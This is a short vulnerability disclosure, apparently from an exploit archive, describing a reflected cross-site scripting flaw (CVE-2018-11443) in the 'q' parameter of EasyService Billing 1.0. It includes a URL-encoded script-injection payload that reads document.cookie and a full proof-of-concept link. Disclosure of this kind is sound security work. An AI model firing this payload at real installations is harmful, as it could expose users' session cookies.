EasyService Billing 1.0 - Cross-Site Scripting

<!--
# Exploit Title: EasyService Billing 1.0 Cross-Site Scripting in 'q' Parameter
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0 
# CVE: CVE-2018-11443
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# # # # #
# 
# Proof of Concept:
#
            ///////////
           //  XSS  //
          ///////////
 
 Affected Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=
 Payload: %27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
 Parameter: q
 Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=%27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
 
 ###########################################################################